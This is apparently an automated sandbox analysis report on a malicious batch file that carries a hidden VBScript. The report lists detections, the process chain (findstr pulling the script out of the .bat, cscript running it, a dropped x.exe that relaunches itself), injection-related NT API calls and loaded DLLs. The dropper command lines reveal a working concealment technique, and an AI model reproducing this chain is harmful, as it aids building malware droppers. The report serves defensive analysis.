Windows Analysis Report
FS001_ DT103024.bat

AI detected suspicious sample

Source: Yara match	File source: 7.2.x.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2389064110.0000000001340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2388569618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

Joe Sandbox ML: detected

Source:	Binary string: wntdll.pdbUGP source: x.exe, 00000007.00000002.2389202000.00000000013A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: x.exe, x.exe, 00000007.00000002.2389202000.00000000013A0000.00000040.00001000.00020000.00000000.sdmp

Networking

Potential malicious VBS script found (has network functionality)

Source: C:\Windows\System32\cmd.exe

Dropped file: b.SaveToFile p+"\x.exe",2'v

Jump to dropped file

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.5:61507

E-Banking Fraud

Source: Yara match	File source: 7.2.x.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.x.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2389064110.0000000001340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2388569618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Found large BAT file

Source: FS001_ DT103024.bat

Static file information: 1405358

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0042C653 NtClose,	7_2_0042C653
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014135C0 NtCreateMutant,LdrInitializeThunk,	7_2_014135C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412DF0 NtQuerySystemInformation,LdrInitializeThunk,	7_2_01412DF0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412C70 NtFreeVirtualMemory,LdrInitializeThunk,	7_2_01412C70
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01413010 NtOpenDirectoryObject,	7_2_01413010
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01413090 NtSetValueKey,	7_2_01413090
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01414340 NtSetContextThread,	7_2_01414340
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01414650 NtSuspendThread,	7_2_01414650
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014139B0 NtGetContextThread,	7_2_014139B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412B60 NtClose,	7_2_01412B60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412BE0 NtQueryValueKey,	7_2_01412BE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412BF0 NtAllocateVirtualMemory,	7_2_01412BF0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412B80 NtQueryInformationFile,	7_2_01412B80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412BA0 NtEnumerateValueKey,	7_2_01412BA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412AD0 NtReadFile,	7_2_01412AD0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412AF0 NtWriteFile,	7_2_01412AF0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412AB0 NtWaitForSingleObject,	7_2_01412AB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01413D70 NtOpenThread,	7_2_01413D70
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412D00 NtSetInformationFile,	7_2_01412D00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412D10 NtMapViewOfSection,	7_2_01412D10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01413D10 NtOpenProcessToken,	7_2_01413D10
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412D30 NtUnmapViewOfSection,	7_2_01412D30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412DD0 NtDelayExecution,	7_2_01412DD0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412DB0 NtEnumerateKey,	7_2_01412DB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412C60 NtCreateKey,	7_2_01412C60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412C00 NtQueryInformationProcess,	7_2_01412C00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412CC0 NtQueryVirtualMemory,	7_2_01412CC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412CF0 NtOpenProcess,	7_2_01412CF0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412CA0 NtQueryInformationToken,	7_2_01412CA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412F60 NtCreateProcessEx,	7_2_01412F60
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412F30 NtCreateSection,	7_2_01412F30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412FE0 NtCreateFile,	7_2_01412FE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412F90 NtProtectVirtualMemory,	7_2_01412F90
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412FA0 NtQuerySection,	7_2_01412FA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412FB0 NtResumeThread,	7_2_01412FB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412E30 NtWriteVirtualMemory,	7_2_01412E30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412EE0 NtQueueApcThread,	7_2_01412EE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412E80 NtReadVirtualMemory,	7_2_01412E80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01412EA0 NtAdjustPrivilegesToken,	7_2_01412EA0

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_01193E34	5_2_01193E34
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0119E04C	5_2_0119E04C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0119703A	5_2_0119703A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F6AEF8	5_2_06F6AEF8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F621B0	5_2_06F621B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F6B6B8	5_2_06F6B6B8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F623F0	5_2_06F623F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F82338	5_2_06F82338
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F81069	5_2_06F81069
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8918A	5_2_06F8918A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8C640	5_2_06F8C640
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8C630	5_2_06F8C630
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F85610	5_2_06F85610
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F85603	5_2_06F85603
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F845F0	5_2_06F845F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F87588	5_2_06F87588
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8E290	5_2_06F8E290
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8E27F	5_2_06F8E27F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8C208	5_2_06F8C208
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8C1F9	5_2_06F8C1F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8BDD0	5_2_06F8BDD0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8BDB1	5_2_06F8BDB1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8EA05	5_2_06F8EA05
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8D8E0	5_2_06F8D8E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8D8D1	5_2_06F8D8D1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F858A8	5_2_06F858A8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F85897	5_2_06F85897
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F9E7E0	5_2_06F9E7E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F92106	5_2_06F92106
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F96CE8	5_2_06F96CE8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F96CD8	5_2_06F96CD8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F92C38	5_2_06F92C38
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F98C00	5_2_06F98C00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_07D70040	5_2_07D70040
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_07D719A8	5_2_07D719A8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_07D72CB8	5_2_07D72CB8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00410043	7_2_00410043
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0041694E	7_2_0041694E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00416953	7_2_00416953
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00402A45	7_2_00402A45
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00401250	7_2_00401250
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00402A50	7_2_00402A50
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00410263	7_2_00410263
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0040E2E3	7_2_0040E2E3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0042EC83	7_2_0042EC83
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_004026A0	7_2_004026A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00402FA0	7_2_00402FA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014AB16B	7_2_014AB16B
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0141516C	7_2_0141516C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D0100	7_2_013D0100
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CF172	7_2_013CF172
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147A118	7_2_0147A118
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014981CC	7_2_014981CC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EB1B0	7_2_013EB1B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A01AA	7_2_014A01AA
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148F0CC	7_2_0148F0CC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014970E9	7_2_014970E9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149F0E0	7_2_0149F0E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E70C0	7_2_013E70C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149A352	7_2_0149A352
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149132D	7_2_0149132D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013CD34C	7_2_013CD34C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A03E6	7_2_014A03E6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EE3F0	7_2_013EE3F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0142739A	7_2_0142739A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480274	7_2_01480274
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E52A0	7_2_013E52A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014812ED	7_2_014812ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB2C0	7_2_013FB2C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0535	7_2_013E0535
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01497571	7_2_01497571
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014A0591	7_2_014A0591
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147D5B0	7_2_0147D5B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01492446	7_2_01492446
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D1460	7_2_013D1460
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149F43F	7_2_0149F43F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148E4F6	7_2_0148E4F6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01404750	7_2_01404750
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0770	7_2_013E0770
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149F7B0	7_2_0149F7B0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DC7C0	7_2_013DC7C0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014916CC	7_2_014916CC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FC6E0	7_2_013FC6E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F6962	7_2_013F6962
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E9950	7_2_013E9950
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FB950	7_2_013FB950
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E29A0	7_2_013E29A0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_014AA9A6	7_2_014AA9A6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0144D800	7_2_0144D800
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EA840	7_2_013EA840
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E2840	7_2_013E2840
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013C68B8	7_2_013C68B8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0140E8F0	7_2_0140E8F0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E38E0	7_2_013E38E0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149AB40	7_2_0149AB40
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149FB76	7_2_0149FB76
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01496BD7	7_2_01496BD7
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01455BF0	7_2_01455BF0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0141DBF9	7_2_0141DBF9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013A9B80	7_2_013A9B80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FFB80	7_2_013FFB80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149FA49	7_2_0149FA49
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01497A46	7_2_01497A46
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01453A6C	7_2_01453A6C
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0148DAC6	7_2_0148DAC6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DEA80	7_2_013DEA80
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01425AA0	7_2_01425AA0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0147DAAC	7_2_0147DAAC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01491D5A	7_2_01491D5A
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01497D73	7_2_01497D73
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013EAD00	7_2_013EAD00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E3D40	7_2_013E3D40
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F8DBF	7_2_013F8DBF
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013DADE0	7_2_013DADE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013FFDC0	7_2_013FFDC0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0C00	7_2_013E0C00
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01459C32	7_2_01459C32
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149FCF2	7_2_0149FCF2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D0CF2	7_2_013D0CF2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01480CB5	7_2_01480CB5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01454F40	7_2_01454F40
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149FF09	7_2_0149FF09
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01422F28	7_2_01422F28
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_01400F30	7_2_01400F30
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E1F92	7_2_013E1F92
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013ECFE0	7_2_013ECFE0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013A3FD2	7_2_013A3FD2
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013A3FD5	7_2_013A3FD5
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D2FC8	7_2_013D2FC8
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149FFB1	7_2_0149FFB1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E0E59	7_2_013E0E59
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149EE26	7_2_0149EE26
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013E9EB0	7_2_013E9EB0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149EEDB	7_2_0149EEDB
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013F2E90	7_2_013F2E90
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0149CE93	7_2_0149CE93

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 0145F290 appears 105 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 013CB970 appears 268 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 01427E54 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 0144EA12 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: String function: 01415130 appears 36 times

Source: x.exe.4.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5.2.x.exe.45517f0.2.raw.unpack, dMn7Q7mEsppOh0xjvJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.x.exe.45d9c10.3.raw.unpack, dMn7Q7mEsppOh0xjvJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: _0020.SetAccessControl
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: _0020.AddAccessRule
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: _0020.SetAccessControl
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: _0020.AddAccessRule
Source: 5.2.x.exe.7ce0000.5.raw.unpack, dMn7Q7mEsppOh0xjvJ.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.x.exe.45517f0.2.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: _0020.SetAccessControl
Source: 5.2.x.exe.45517f0.2.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.x.exe.45517f0.2.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.evad.winBAT@10/4@0/0

Source: C:\Users\user\AppData\Local\Temp\x.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\x.exe.log

Source: C:\Users\user\AppData\Local\Temp\x.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1408:120:WilError_03

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\x

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\FS001_ DT103024.bat" "

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs

Source: C:\Windows\System32\cscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: cscript.exe, 00000004.00000003.2176193904.000002436179B000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177870963.000002435E934000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177328526.0000024360E31000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177390906.0000024361791000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000005.00000000.2179902047.0000000000702000.00000002.00000001.01000000.00000005.sdmp, x.exe.4.dr	Binary or memory string: INSERT INTO Service (CustomerId, Active, Date) VALUES (@customerId, '1', @date);
Source: cscript.exe, 00000004.00000003.2176193904.000002436179B000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177870963.000002435E934000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177328526.0000024360E31000.00000004.00000020.00020000.00000000.sdmp, cscript.exe, 00000004.00000003.2177390906.0000024361791000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000005.00000000.2179902047.0000000000702000.00000002.00000001.01000000.00000005.sdmp, x.exe.4.dr	Binary or memory string: SELECT COUNT(*) FROM Service WHERE (Active LIKE '1') AND (CustomerId = @id);

Source: FS001_ DT103024.bat

ReversingLabs: Detection: 45%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\FS001_ DT103024.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /e "'v" "C:\Users\user\Desktop\FS001_ DT103024.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe C:\Users\user\AppData\Local\Temp\x.exe
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /e "'v" "C:\Users\user\Desktop\FS001_ DT103024.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript //nologo C:\Users\user\AppData\Local\Temp\x.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe C:\Users\user\AppData\Local\Temp\x.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
